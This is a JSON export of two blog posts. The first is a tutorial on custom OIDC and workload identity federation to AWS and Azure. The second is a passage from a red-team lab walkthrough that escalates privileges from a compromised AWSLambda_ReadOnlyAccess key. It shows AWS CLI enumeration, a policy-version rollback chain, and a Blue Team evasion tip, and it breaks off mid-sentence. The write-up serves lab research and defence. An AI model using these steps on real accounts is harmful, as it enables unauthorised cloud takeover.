[{"content":"Demystifying Workload Identity Federation: From Custom OIDC to AWS and Azure In this blog post, we will dive deep into OIDC and WIF.\nLet&rsquo;s say there are three levels of difficulty in workload identity. The first level, which is easier, is to use workload identity in the environment itself. For example, AWS has instance roles, and you can use them as a workload identity. Azure has managed and user identities which can be used as a workload identity.\nThe second level is cross-cloud workload identity federation, which is now easy to set up but previously was a little tricky. For example, Azure uses the OAuth2 protocol, so it is easy to set up OIDC in AWS for workload identity federation from an Azure VM to AWS S3. But because AWS uses SigV4, it was not easy to set up OIDC or SAML in Azure to have workload identity federation from an EC2 instance to a Storage Blob, for example. The good news is that AWS now supports &ldquo;outbound identity federation,&rdquo; and you can easily set up WIF to Azure.\nThe hardest is Level 3, when you want to have workload identity federation from on-prem to cloud providers. In this blog, we will manually create a workload identity federation, and after we have deep knowledge of OIDC and WIF, we will federate an on-prem Minikube workload pod to the cloud in AWS and Azure as an example.\nBuilding the Core: Keys, Tokens, and Discovery Endpoints Let&rsquo;s begin. For OIDC, we first need to have a private and a public key pair. Let&rsquo;s create them with the following commands:\nopenssl genrsa -out oidc_private.pem 2048 openssl rsa -in oidc_private.pem -pubout -out oidc_public.pem import jwt import time with open(&#34;oidc_private.pem&#34;, &#34;rb&#34;) as key_file: private_key = key_file.read() payload = { &#34;iss&#34;: &#34;https:\/\/your-domain&#34;, &#34;sub&#34;: &#34;user_123&#34;, &#34;aud&#34;: &#34;my_client_id&#34;, &#34;iat&#34;: int(time.time()), &#34;exp&#34;: int(time.time()) + 3600 } token = jwt.encode( payload, private_key, algorithm=&#34;RS256&#34;, headers={&#34;kid&#34;: &#34;my-key-id-1&#34;} ) print(token) with open(&#34;oidc-token.jwt&#34;, &#34;w&#34;) as out_file: out_file.write(token) Now, let&rsquo;s print our JWT and check if it is valid on jwt.io, where we can verify it by passing our token and public key.\nAs you can see, our JWT token is valid.\nLet&rsquo;s briefly explain what the code does.\nThis Python script generates a signed OpenID Connect (OIDC)-style JSON Web Token (JWT) using an RSA private key. It first loads the private key from oidc_private.pem, then creates a JWT payload containing standard claims such as the issuer (iss), subject (sub), audience (aud), issued-at time (iat), and expiration time (exp), making the token valid for one hour. The payload is then signed with the RS256 algorithm, and a kid (Key ID) is added to the JWT header so that verifiers can identify the corresponding public key. Finally, the script prints the generated token to the console and saves it to oidc-token.jwt, allowing it to be used later for authentication or testing OIDC-compatible systems.\nThe next step in creating our OIDC setup is defining the discovery endpoints. We need the jwks.json and openid-configuration files. For example:\nhttps:\/\/your-domain.com\/.well-known\/openid-configuration\n{ &#34;issuer&#34;: &#34;https:\/\/your-domain.com&#34;, &#34;jwks_uri&#34;: &#34;https:\/\/your-domain.com\/.well-known\/jwks.json&#34;, &#34;response_types_supported&#34;: [&#34;code&#34;], &#34;subject_types_supported&#34;: [&#34;public&#34;], &#34;id_token_signing_alg_values_supported&#34;: [&#34;RS256&#34;] } and https:\/\/your-domain.com\/.well-known\/jwks.json\n{ &#34;keys&#34;: [ { &#34;kty&#34;: &#34;RSA&#34;, &#34;alg&#34;: &#34;RS256&#34;, &#34;use&#34;: &#34;sig&#34;, &#34;kid&#34;: &#34;my-key-id-1&#34;, &#34;n&#34;: &#34;v8w...&#34;, &#34;e&#34;: &#34;AQAB&#34; } ] } The OpenID Connect Discovery document (\/.well-known\/openid-configuration) is a metadata file that describes an OIDC provider and tells clients how to interact with it. It specifies the provider&rsquo;s unique identifier (issuer), the location of its JSON Web Key Set (jwks_uri), the supported OAuth 2.0 response types, the subject identifier type, and the signing algorithms used for ID tokens. Rather than hardcoding these values, applications can retrieve this document to automatically discover the provider&rsquo;s configuration.\nThe JSON Web Key Set (JWKS) (\/.well-known\/jwks.json) contains the public cryptographic keys that clients use to verify JWT signatures issued by the provider. Each key includes information such as the key type (kty), signing algorithm (alg), intended use (use), a unique key identifier (kid), and the RSA public key components (n for the modulus and e for the exponent). When a client receives a JWT, it matches the token&rsquo;s kid with the corresponding key in the JWKS and uses the public key to verify that the token was signed by the trusted issuer and has not been modified.\nCustom OpenID Connect (OIDC) identity provider In this section, we will build a minimal, custom OpenID Connect (OIDC) identity provider from scratch to understand how OIDC discovery and token generation work under the hood. We&rsquo;ll start by setting up a local web directory to host our standard OIDC configuration files, including dynamically injecting an actual RSA public key into our JSON Web Key Set (JWKS). Next, we will write a Python script that uses a private key to generate and securely sign a valid JSON Web Token (JWT). Finally, we will serve these metadata files using a local HTTP server and expose our custom Identity Provider to the internet using a secure reverse SSH tunnel, making it ready to be tested with real OIDC clients.\nStep-by-Step Guide Create the web directory mkdir web\/ &amp;&amp; cd web\/ This command creates a new directory named web to host our static web files and immediately navigates into it. 2. Create the index page\ncat &lt;&lt;EOF&gt;index.html &lt;h1&gt;Hello World&lt;\/h1&gt; EOF Here, we create a simple index.html file to serve as the default root page of our local web server to verify that it is running correctly. 3. Set up the well-known directory\nmkdir .well-known &amp;&amp; cd .well-known This creates a .well-known directory, which is a standardized location used by web protocols (like OIDC) to host discovery metadata, and moves us into it. 4. Initialize the JWKS file\ncat &lt;&lt;EOF&gt;jwks.json { &#34;keys&#34;: [ { &#34;kty&#34;: &#34;RSA&#34;, &#34;alg&#34;: &#34;RS256&#34;, &#34;use&#34;: &#34;sig&#34;, &#34;kid&#34;: &#34;my-key-id-1&#34;, &#34;n&#34;: &#34;pubkey&#34;, &#34;e&#34;: &#34;AQAB&#34; } ] } EOF This generates a placeholder jwks.json (JSON Web Key Set) file. This file will publicly expose the cryptographic keys that client applications need to verify our signed JWTs. 5. Create the OIDC discovery document\ncat &lt;&lt;EOF&gt;openid-configuration { &#34;issuer&#34;: &#34;https:\/\/your-domain.com&#34;, &#34;jwks_uri&#34;: &#34;https:\/\/your-domain.com\/.well-known\/jwks.json&#34;, &#34;response_types_supported&#34;: [&#34;code&#34;], &#34;subject_types_supported&#34;: [&#34;public&#34;], &#34;id_token_signing_alg_values_supported&#34;: [&#34;RS256&#34;] } EOF This creates the core OIDC discovery document (openid-configuration). It defines our provider&rsquo;s metadata, including the issuer URL and where to find the JWKS file, allowing OIDC clients to configure themselves automatically. 6. Inject the real Public Key into JWKS\nPUBKEY=$(openssl rsa -pubin -in ..\/..\/oidc_public.pem -modulus -noout | \\ sed &#39;s\/Modulus=\/\/&#39; | \\ xxd -r -p | \\ base64 | \\ tr -d &#39;\\n=&#39; | \\ tr &#39;+\/&#39; &#39;-_&#39;) sed -i &#34;s|\\&#34;n\\&#34;: \\&#34;.*\\&#34;|\\&#34;n\\&#34;: \\&#34;$PUBKEY\\&#34;|&#34; jwks.json This block extracts the raw RSA modulus from an existing public key (oidc_public.pem), converts it into the strict Base64URL-encoded format required by the JWKS standard, and automatically replaces the &ldquo;pubkey&rdquo; placeholder in our jwks.json file with this real value. 7. Return to the root directory\ncd ..\/..\/ This simply navigates back up two levels to our main project directory. 8. Create the JWT Generation Script\ncat &lt;&lt;EOF&gt;main.py import jwt import time with open(&#34;oidc_private.pem&#34;, &#34;rb&#34;) as key_file: private_key = key_file.read() payload = { &#34;iss&#34;: &#34;https:\/\/your-domain.com&#34;, &#34;sub&#34;: &#34;user_123&#34;, &#34;aud&#34;: &#34;my_client_id&#34;, &#34;iat&#34;: int(time.time()), &#34;exp&#34;: int(time.time()) + 3600 } token = jwt.encode( payload, private_key, algorithm=&#34;RS256&#34;, headers={&#34;kid&#34;: &#34;my-key-id-1&#34;} ) print(token) with open(&#34;oidc-token.jwt&#34;, &#34;w&#34;) as out_file: out_file.write(token) EOF This creates a Python script (main.py) that reads our private key to generate and securely sign a valid JSON Web Token (JWT). The token includes standard OIDC claims such as the issuer (iss), subject (sub), audience (aud), and expiration time (exp). The output is printed to the console and saved locally as oidc-token.jwt. 9. Start the local web server\npython3 -m http.server -d web This starts Python\u2019s built-in HTTP server on the default port 8000, serving the contents of our web directory (which includes our newly created .well-known configuration files). 10. Expose the server to the internet\nssh -R 80:localhost:8000 nokey@localhost.run This command uses localhost.run to create a reverse SSH tunnel. It bridges our locally hosted port 8000 to the public internet, allowing external applications to reach our custom OIDC discovery endpoints globally. 11. Update the placeholder domain with the real tunnel URL\nfind . -type f -exec sed -i &#39;s|https:\/\/your-domain.com|https:\/\/39b6e51d1f0bb8.lhr.life|g&#39; {} + This command performs a bulk find-and-replace across all files in our project directory and its subdirectories. It uses find to locate every file and securely passes them to sed, which executes an in-place replacement. It swaps our initial placeholder (https:\/\/your-domain.com) with the live, publicly accessible URL provided by our SSH tunnel (https:\/\/39b6e51d1f0bb8.lhr.life), ensuring our OIDC discovery documents and JWT payload correctly point to the active server.\nAWS Identity providers Register the Identity Provider in AWS IAM aws iam create-open-id-connect-provider \\ --url &#34;https:\/\/39b6e51d1f0bb8.lhr.life&#34; \\ --client-id-list &#34;my_client_id&#34; This AWS CLI command formally registers our locally hosted, tunneled OIDC provider within AWS Identity and Access Management (IAM).\nThe &ndash;url parameter points to our live tunnel address where AWS will look for the .well-known\/openid-configuration discovery document. The &ndash;client-id-list corresponds to the audience (aud) claim we defined in our Python JWT generation script (my_client_id). Define the strict IAM Trust Policy cat &lt;&lt;EOF&gt;trust-policy.json { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Effect&#34;: &#34;Allow&#34;, &#34;Action&#34;: &#34;sts:AssumeRoleWithWebIdentity&#34;, &#34;Principal&#34;: { &#34;Federated&#34;: &#34;arn:aws:iam::275956877278:oidc-provider\/39b6e51d1f0bb8.lhr.life&#34; }, &#34;Condition&#34;: { &#34;StringEquals&#34;: { &#34;39b6e51d1f0bb8.lhr.life:aud&#34;: &#34;my_client_id&#34;, &#34;39b6e51d1f0bb8.lhr.life:sub&#34;: &#34;user_123&#34; } } } ] } EOF In this step, we generate an IAM trust policy document (trust-policy.json). This JSON tells AWS exactly who is allowed to assume our upcoming IAM role. We map the Principal to the OIDC provider we registered in the previous step. More importantly, we use the Condition block to enforce strict access control: it ensures that AWS will only grant temporary credentials if the incoming JWT has an audience (aud) matching my_client_id AND the subject claim (sub) is exactly user_123. 3. Create the IAM Role and Attach Permissions\naws iam create-role \\ --role-name OIDC_S3_ReadOnly_Role \\ --assume-role-policy-document file:\/\/trust-policy.json aws iam attach-role-policy \\ --role-name OIDC_S3_ReadOnly_Role \\ --policy-arn arn:aws:iam::aws:policy\/AmazonS3ReadOnlyAccess Now we execute two AWS CLI commands to finalize our cloud setup. The first command creates a new IAM Role named OIDC_S3_ReadOnly_Role and attaches the trust relationships we just defined in our local JSON file. The second command attaches the AWS-managed AmazonS3ReadOnlyAccess policy to this role. As a result, when our specific user (user_123) authenticates via our custom OIDC provider, they will receive temporary AWS credentials that explicitly grant them read-only access to S3 buckets, adhering to the principle of least privilege. 4. Generate the signed JWT\npython3 main.py By executing our previously created Python script, we generate a fresh JSON Web Token (JWT). The script signs the token using our local private key, embeds the necessary OIDC claims (such as sub: user_123 and aud: my_client_id), prints the output to the console for verification, and successfully writes it to a local file named oidc-token.jwt. 5. Configure AWS CLI via Environment Variables\nexport AWS_WEB_IDENTITY_TOKEN_FILE=&#34;oidc-token.jwt&#34; export AWS_ROLE_ARN=&#34;arn:aws:iam::275956877278:role\/OIDC_S3_ReadOnly_Role&#34; Instead of making manual API calls to the AWS Security Token Service (STS) to exchange our token for temporary credentials, we can take advantage of the AWS CLI&rsquo;s native support for web identity federation. By exporting these two environment variables, we instruct the AWS tools to automatically look at our generated oidc-token.jwt file and attempt to assume the OIDC_S3_ReadOnly_Role. The AWS CLI will seamlessly handle the token exchange process in the background for any subsequent commands we run.\nAzure Federated credentials Now that we have successfully demonstrated how to assume an AWS IAM role using our custom OIDC identity provider, let&rsquo;s explore how to achieve the exact same mechanism in Microsoft Azure. Azure handles this via &ldquo;Workload Identity Federation.&rdquo; Instead of an IAM Role, we will create a User-Assigned Managed Identity, grant it read-only permissions, and then attach a Federated Identity Credential. This credential acts like our AWS Trust Policy: it tells Azure to trust our custom OIDC issuer and only grant access if the token&rsquo;s subject and audience exactly match our predefined strict criteria.\nCreate an Azure Resource Group az group create \\ --name OIDCDemoGroup \\ --location eastus First, we create a logical container called a Resource Group. This gives us a safe, isolated scope to apply our read-only permissions later without affecting the rest of the Azure subscription. 2. Create a User-Assigned Managed Identity\naz identity create \\ --name OIDC-ReadOnly-Identity \\ --resource-group OIDCDemoGroup In Azure, a User-Assigned Managed Identity serves a very similar purpose to an AWS IAM Role. This command creates the identity that our external OIDC token will eventually assume. 3. Assign Read-Only Permissions to the Identity\nPRINCIPAL_ID=$(az identity show --name OIDC-ReadOnly-Identity --resource-group OIDCDemoGroup --query principalId -o tsv) SUBSCRIPTION_ID=$(az account show --query id -o tsv) az role assignment create \\ --assignee &#34;$PRINCIPAL_ID&#34; \\ --role &#34;Reader&#34; \\ --scope &#34;\/subscriptions\/$SUBSCRIPTION_ID\/resourceGroups\/OIDCDemoGroup&#34; Here, we extract the newly created identity&rsquo;s Principal ID and our Azure Subscription ID. We then assign the built-in &ldquo;Reader&rdquo; role to our identity, but restrict its scope strictly to our OIDCDemoGroup resource group. This is the Azure equivalent of attaching the AmazonS3ReadOnlyAccess policy in AWS. 4. Create the Federated Identity Credential\naz identity federated-credential create \\ --name MyOIDCTrust \\ --identity-name OIDC-ReadOnly-Identity \\ --resource-group OIDCDemoGroup \\ --issuer &#34;https:\/\/39b6e51d1f0bb8.lhr.life&#34; \\ --subject &#34;user_123&#34; \\ --audiences &#34;my_client_id&#34; This is the most critical step and serves as the Azure equivalent of the AWS Trust Policy. We are explicitly linking our custom OIDC provider to the Managed Identity. By defining the &ndash;issuer, &ndash;subject, and &ndash;audiences, we instruct Azure to fetch the public keys from our tunnel URL and ensure that it only issues a session if the incoming JWT specifically belongs to user_123 and is intended for my_client_id. 5. Generate the signed JWT\npython3 main.py generate a fresh JSON Web Token (JWT). 6. Authenticate to Azure CLI using the JWT\nCLIENT_ID=$(az identity show --name OIDC-ReadOnly-Identity --resource-group OIDCDemoGroup --query clientId -o tsv) TENANT_ID=$(az account show --query tenantId -o tsv) az login --service-principal \\ --username &#34;$CLIENT_ID&#34; \\ --tenant &#34;$TENANT_ID&#34; \\ --federated-token &#34;$(cat oidc-token.jwt)&#34; Finally, we put our token to use! We extract the Client ID of our Managed Identity and the Azure Tenant ID. Then, we use the az login command with the &ndash;federated-token flag, reading our locally signed oidc-token.jwt file. Azure will reach out to our custom OIDC discovery URL, validate the RSA signature using our hosted public key, verify the claims, and successfully log us into the Azure CLI with read-only permissions.\nApp Registrations vs. Managed Identities for OIDC It is worth noting that Azure allows you to configure Workload Identity Federation not only on Managed Identities (as we did above) but also directly on App Registrations (Service Principals). If you are wondering which method to choose, the general recommendation is to stick with User-Assigned Managed Identities for standard Role-Based Access Control (RBAC) to Azure resources. They are lightweight, localized to your directory, and simpler to manage without the overhead of enterprise application properties. However, you should choose an App Registration if your external CI\/CD pipeline or custom application requires access to directory-level APIs (such as Microsoft Graph), needs to expose its own custom API scopes, or must be configured as a multi-tenant application.\nFederating On-Premises Kubernetes Workloads to AWS In this section, we will establish a secure Workload Identity Federation from a local Kubernetes cluster (Minikube) to AWS. Instead of embedding long-lived AWS credentials inside our cluster, we will configure Minikube to act as an OIDC Identity Provider (IdP). By hosting the cluster&rsquo;s discovery documents on our public tunnel, AWS can actively verify the cryptographic signatures of our Kubernetes Service Account tokens, granting our Pods temporary, least-privilege access to AWS resources.\nConfigure Minikube as an OIDC Issuer minikube start \\ --extra-config=apiserver.service-account-issuer=https:\/\/39b6e51d1f0bb8.lhr.life \\ --extra-config=apiserver.service-account-jwks-uri=https:\/\/39b6e51d1f0bb8.lhr.life\/.well-known\/jwks.json First, we must start (or update) our Minikube cluster with specific API server flags. These parameters instruct Kubernetes to embed our public tunnel URL as the issuer within all newly generated Service Account tokens and point to where the public keys (JWKS) are hosted. 2. Extract and Host Kubernetes OIDC Metadata\nkubectl get --raw \/.well-known\/openid-configuration kubectl get --raw \/openid\/v1\/jwks For AWS to trust our cluster, it needs to access our OIDC configuration and public keys over the internet. Run the commands above to extract the cluster\u2019s auto-generated metadata. You can then copy the output of these commands and save them directly into your local web server&rsquo;s web\/.well-known\/openid-configuration and web\/.well-known\/jwks.json files. Since our local directory is exposed via the SSH tunnel, AWS can now resolve our cluster&rsquo;s OIDC metadata publicly. 3. Register the Kubernetes Cluster as an Identity Provider in AWS\naws iam create-open-id-connect-provider \\ --url &#34;https:\/\/39b6e51d1f0bb8.lhr.life&#34; \\ --client-id-list &#34;https:\/\/39b6e51d1f0bb8.lhr.life&#34; Next, we map our Kubernetes cluster to AWS. This command creates a new OIDC Provider entity in AWS IAM. We use our public tunnel address for both the provider URL and the client ID (audience). 4. Create a Strict IAM Trust Policy and Role\ncat &lt;&lt;EOF&gt;kube-policy.json { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Effect&#34;: &#34;Allow&#34;, &#34;Action&#34;: &#34;sts:AssumeRoleWithWebIdentity&#34;, &#34;Principal&#34;: { &#34;Federated&#34;: &#34;arn:aws:iam::275956877278:oidc-provider\/39b6e51d1f0bb8.lhr.life&#34; }, &#34;Condition&#34;: { &#34;StringEquals&#34;: { &#34;39b6e51d1f0bb8.lhr.life:aud&#34;: &#34;https:\/\/39b6e51d1f0bb8.lhr.life&#34;, &#34;39b6e51d1f0bb8.lhr.life:sub&#34;: &#34;system:serviceaccount:default:aws-tester-sa&#34; } } } ] } EOF We define a Trust Policy to enforce strict access control. The Condition block acts as our security boundary: it ensures that AWS will only allow the exchange of temporary credentials if the incoming Kubernetes token specifically belongs to the aws-tester-sa Service Account running in the default namespace.\naws iam create-role \\ --role-name OIDC_Minikube_S3_ReadOnly_Role \\ --assume-role-policy-document file:\/\/kube-policy.json aws iam attach-role-policy \\ --role-name OIDC_Minikube_S3_ReadOnly_Role \\ --policy-arn arn:aws:iam::aws:policy\/AmazonS3ReadOnlyAccess With the policy defined, we create the actual IAM role (OIDC_Minikube_S3_ReadOnly_Role) and attach the AWS-managed AmazonS3ReadOnlyAccess policy to it, ensuring our Pod only receives the exact permissions it needs.\nDeploy a Test Pod with the Service Account cat &lt;&lt;EOF&gt;aws-pod.yaml apiVersion: v1 kind: ServiceAccount metadata: name: aws-tester-sa namespace: default --- apiVersion: v1 kind: Pod metadata: name: aws-cli-tester namespace: default spec: serviceAccountName: aws-tester-sa containers: - name: aws-cli image: amazon\/aws-cli:latest command: [&#34;sleep&#34;, &#34;3600&#34;] env: - name: AWS_ROLE_ARN value: &#34;arn:aws:iam::275956877278:role\/OIDC_Minikube_S3_ReadOnly_Role&#34; - name: AWS_WEB_IDENTITY_TOKEN_FILE value: &#34;\/var\/run\/secrets\/kubernetes.io\/serviceaccount\/token&#34; EOF kubectl apply -f aws-pod.yaml We deploy our test environment using the YAML manifest above. This creates our authorized aws-tester-sa Service Account and launches a Pod containing the AWS CLI. Notice the environment variables: Kubernetes automatically projects a signed OIDC token into the container at the path specified by AWS_WEB_IDENTITY_TOKEN_FILE, and we tell the AWS SDK which role to assume via AWS_ROLE_ARN.\nVerify Federation Access kubectl exec -it aws-cli-tester -- \/bin\/sh # Inside the pod&#39;s shell, run: aws sts get-caller-identity To validate our entire pipeline, we open an interactive shell inside our running Pod and execute aws sts get-caller-identity. Because the environment variables are set, the AWS CLI automatically reads the projected Kubernetes Service Account token and federates with AWS STS. If configured correctly, this command will return a JSON object confirming that your Pod has successfully assumed the OIDC_Minikube_S3_ReadOnly_Role!\nConclusion In this blog post, we tackled the &ldquo;Level 3&rdquo; difficulty of Workload Identity Federation, moving from the foundational concepts of OIDC to successfully federating an on-premises Minikube workload to both AWS and Azure. By manually creating our own OIDC provider, generating JWTs with Python, and setting up the discovery endpoints (jwks.json and openid-configuration), we gained a deep, under-the-hood understanding of how cloud providers establish trust and verify external identities.\nIMPORTANT SECURITY WARNING: STRICTLY FOR DEMONSTRATION PURPOSES It is absolutely critical to understand that the setup demonstrated in this post is purely educational. Do NOT, under any circumstances, use this custom, manually built OIDC provider in a production environment.\nThe examples provided here are designed to demystify how the protocol works behind the scenes. However, managing private keys manually via scripts, hosting static discovery files without proper infrastructure, and lacking essential security controls\u2014such as automated key rotation, token revocation, and rigorous audit logging\u2014introduce severe security vulnerabilities.\nIn a real-world, production scenario, attempting to build and maintain your own identity provider from scratch puts your entire cloud infrastructure at risk.\nFor production workloads, you must always rely on established, enterprise-grade Identity Providers (IdPs) and secret management systems. Solutions like managed Kubernetes Service Account Token Issuers (e.g., IRSA in AWS, Azure Workload Identity), HashiCorp Vault, Microsoft Entra ID, or AWS IAM Identity Center are specifically designed to handle the rigorous security, high availability, and lifecycle management required to keep your cross-environment workloads secure. Keep experimenting and learning in your local labs, but always leave production security to battle-tested tools!\n","permalink":"https:\/\/giomke.github.io\/posts\/k8s_wif\/","summary":"<h1 id=\"demystifying-workload-identity-federation-from-custom-oidc-to-aws-and-azure\">Demystifying Workload Identity Federation: From Custom OIDC to AWS and Azure<\/h1>\n<p>In this blog post, we will dive deep into OIDC and WIF.<\/p>\n<p>Let&rsquo;s say there are three levels of difficulty in workload identity. The first level, which is easier, is to use workload identity in the environment itself. For example, AWS has instance roles, and you can use them as a workload identity. Azure has managed and user identities which can be used as a workload identity.<\/p>","title":"Demystifying Workload Identity Federation: From Custom OIDC to AWS and Azure"},{"content":"From AWSLambda_ReadOnlyAccess to Full Compromise Introduction In this blog post, I want to highlight the dangers of blindly using AWS-managed policies without verifying their underlying permissions.\nWhile building an AWS lab for Red and Blue teams and researching privilege escalation scenarios, I came across several interesting AWS-managed policies. A prime example is AWSLambda_ReadOnlyAccess. Despite its seemingly restrictive name, this policy grants far more read access than one might expect. Ideally, these permissions should be split or refined to better reflect their true scope.\nIn this post, I will demonstrate the enumeration capabilities provided by this policy, how an adversary can leverage them to escalate privileges, and what AWS&rsquo;s stance is regarding these overly permissive &ldquo;read-only&rdquo; roles.\nLet\u2019s dive into an example. Following the Cyber Kill Chain, suppose a breach has occurred and you are in the post-exploitation phase, seeking to escalate privileges. For the sake of this scenario, let&rsquo;s assume you have gained access to an IAM Access Key.\nThe following is a concise privilege escalation scenario demonstrating the permissions of the AWSLambda_ReadOnlyAccess policy attached to a compromised user. While the name suggests &ldquo;limited Lambda visibility,&rdquo; in practice, this role can inspect a surprising amount of the surrounding AWS environment.\nExample scenario First, let&rsquo;s see who the compromised user is. Note: In a real engagement, you should avoid using sts get-caller-identity. The Blue Team always has an eye on it, and you will be caught in the early stages.\naws sts get-caller-identity { &#34;UserId&#34;: &#34;AIDASAM27ZHFFQ32V25SU&#34;, &#34;Account&#34;: &#34;138300869066&#34;, &#34;Arn&#34;: &#34;arn:aws:iam::138300869066:user\/lambda-ro-user-cfn&#34; } The username lambda-ro-user-cfn is interesting. We can guess that we have read-only permissions for Lambda and that the user was created from CloudFormation. From this point, we have two paths to explore: Lambda and CloudFormation.\nBefore we brute-force our permissions, let&rsquo;s see if we have enough IAM permissions to explore and avoid a noisy brute-forcing or guessing step.\naws iam list-roles | head { &#34;Roles&#34;: [ { &#34;Path&#34;: &#34;\/aws-reserved\/sso.amazonaws.com\/&#34;, &#34;RoleName&#34;: &#34;AWSReservedSSO_AdministratorAccess_40ed4e92e98c8234&#34;, &#34;RoleId&#34;: &#34;AROASAM27ZHFI3FAHYXYU&#34;, &#34;Arn&#34;: &#34;arn:aws:iam::138300869066:role\/aws-reserved\/sso.amazonaws.com\/AWSReservedSSO_AdministratorAccess_40ed4e92e98c8234&#34;, &#34;CreateDate&#34;: &#34;2026-03-10T02:51:38+00:00&#34;, &#34;AssumeRolePolicyDocument&#34;: { &#34;Version&#34;: &#34;2012-10-17&#34;, It seems we can enumerate IAM roles\u2014this is the &ldquo;catch,&rdquo; as a lambda-ro user should not have IAM permissions. Okay, let&rsquo;s continue carefully without causing access errors to stay under the radar of the Blue Team. Let\u2019s see what roles we have:\naws iam list-roles --query &#39;Roles[? !contains(Arn, `\/aws-service-role\/`) &amp;&amp; !contains(Arn, `\/aws-reserved\/`)].[RoleName, Arn]&#39; [ [ &#34;OrganizationAccountAccessRole&#34;, &#34;arn:aws:iam::138300869066:role\/OrganizationAccountAccessRole&#34; ], [ &#34;Prod-App-ObservabilityRole&#34;, &#34;arn:aws:iam::138300869066:role\/Prod-App-ObservabilityRole&#34; ] ] From the previous queries, we can say that AWS Organizations and AWS IAM Identity Center are used. Now, let&rsquo;s continue our enumeration and explore the found role: Prod-App-ObservabilityRole. Let&rsquo;s risk it and check if we can see the role&rsquo;s attached policies.\naws iam list-attached-role-policies --role-name Prod-App-ObservabilityRole { &#34;AttachedPolicies&#34;: [ { &#34;PolicyName&#34;: &#34;AppAccessPolicy&#34;, &#34;PolicyArn&#34;: &#34;arn:aws:iam::138300869066:policy\/AppAccessPolicy&#34; } ] } Interesting, the role has a custom policy named AppAccessPolicy attached. Now, let&rsquo;s check if we have permission to see inline policies:\naws iam list-role-policies --role-name Prod-App-ObservabilityRole { &#34;PolicyNames&#34;: [ &#34;PolicyRollbackControl&#34; ] } Nice! Besides the username lambda-ro-user-cfn, it seems we also have iam:ListRoles, iam:ListAttachedRolePolicies, and iam:ListRolePolicies. We also detected these interesting policies: AppAccessPolicy and PolicyRollbackControl.\nNow, let&rsquo;s see if we have permission to view them.\naws iam get-role-policy --role-name Prod-App-ObservabilityRole --policy-name PolicyRollbackControl { &#34;RoleName&#34;: &#34;Prod-App-ObservabilityRole&#34;, &#34;PolicyName&#34;: &#34;PolicyRollbackControl&#34;, &#34;PolicyDocument&#34;: { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Action&#34;: [ &#34;iam:SetDefaultPolicyVersion&#34; ], &#34;Resource&#34;: &#34;arn:aws:iam::138300869066:policy\/AppAccessPolicy&#34;, &#34;Effect&#34;: &#34;Allow&#34; } ] } } aws iam get-policy --policy-arn arn:aws:iam::138300869066:policy\/AppAccessPolicy { &#34;Policy&#34;: { &#34;PolicyName&#34;: &#34;AppAccessPolicy&#34;, &#34;PolicyId&#34;: &#34;ANPASAM27ZHFOIAQBBRT6&#34;, &#34;Arn&#34;: &#34;arn:aws:iam::138300869066:policy\/AppAccessPolicy&#34;, &#34;Path&#34;: &#34;\/&#34;, &#34;DefaultVersionId&#34;: &#34;v2&#34;, &#34;AttachmentCount&#34;: 1, &#34;PermissionsBoundaryUsageCount&#34;: 0, &#34;IsAttachable&#34;: true, &#34;CreateDate&#34;: &#34;2026-04-10T05:56:16+00:00&#34;, &#34;UpdateDate&#34;: &#34;2026-04-10T06:01:53+00:00&#34;, &#34;Tags&#34;: [] } } BTW, did you notice something interesting? The inline policy PolicyRollbackControl has the permission iam:SetDefaultPolicyVersion on the policy AppAccessPolicy. Also, notice that the AppAccessPolicy DefaultVersionId is v2. Let&rsquo;s explore that policy.\naws iam get-policy-version --policy-arn arn:aws:iam::138300869066:policy\/AppAccessPolicy --version-id v2 { &#34;PolicyVersion&#34;: { &#34;Document&#34;: { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Action&#34;: [ &#34;s3:ListBucket&#34; ], &#34;Resource&#34;: &#34;*&#34;, &#34;Effect&#34;: &#34;Allow&#34; } ] }, &#34;VersionId&#34;: &#34;v2&#34;, &#34;IsDefaultVersion&#34;: true, &#34;CreateDate&#34;: &#34;2026-04-10T06:01:53+00:00&#34; } } The policy just has s3:ListBucket permission, which is good for exploration, but it&rsquo;s clear we don&rsquo;t have the Prod-App-ObservabilityRole yet. Let&rsquo;s see what permissions it had previously in Version 1.\naws iam get-policy-version --policy-arn arn:aws:iam::138300869066:policy\/AppAccessPolicy --version-id v1 { &#34;PolicyVersion&#34;: { &#34;Document&#34;: { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Action&#34;: [ &#34;iam:CreatePolicyVersion&#34; ], &#34;Resource&#34;: &#34;*&#34;, &#34;Effect&#34;: &#34;Allow&#34; } ] }, &#34;VersionId&#34;: &#34;v1&#34;, &#34;IsDefaultVersion&#34;: false, &#34;CreateDate&#34;: &#34;2026-04-10T05:56:16+00:00&#34; } } Wow, can you see it? An attack chain! How could we escalate our privileges if we had the Prod-App-ObservabilityRole? We could use PolicyRollbackControl to downgrade the AppAccessPolicy and, with the old permissions (v1), create a new policy version with higher privileges. We definitely have to save this powerful role in our findings.\nBefore we explore the Lambda stuff\u2014since this compromised user&rsquo;s primary role is related to Lambda\u2014let&rsquo;s take a risk and check if we can enumerate CloudFormation stacks (which is less likely, but possible).\naws cloudformation list-stacks --stack-status-filter CREATE_COMPLETE { &#34;StackSummaries&#34;: [ { &#34;StackId&#34;: &#34;arn:aws:cloudformation:us-east-1:138300869066:stack\/prod-app-platform\/fb0bf580-34a1-11f1-a39d-0afff3794177&#34;, &#34;StackName&#34;: &#34;prod-app-platform&#34;, &#34;TemplateDescription&#34;: &#34;Application observability with legacy access policy used during early development&#34;, &#34;CreationTime&#34;: &#34;2026-04-10T05:56:13.212000+00:00&#34;, &#34;StackStatus&#34;: &#34;CREATE_COMPLETE&#34;, &#34;DriftInformation&#34;: { &#34;StackDriftStatus&#34;: &#34;NOT_CHECKED&#34; } }, { &#34;StackId&#34;: &#34;arn:aws:cloudformation:us-east-1:138300869066:stack\/lambda-user-stack\/eef727b0-34a1-11f1-9598-0e08fdef0b67&#34;, &#34;StackName&#34;: &#34;lambda-user-stack&#34;, &#34;TemplateDescription&#34;: &#34;Creating an IAM User with Lambda ReadOnly access and Access Keys&#34;, &#34;CreationTime&#34;: &#34;2026-04-10T05:55:52.908000+00:00&#34;, &#34;StackStatus&#34;: &#34;CREATE_COMPLETE&#34;, &#34;DriftInformation&#34;: { &#34;StackDriftStatus&#34;: &#34;NOT_CHECKED&#34; } } ] } Bingo! We have 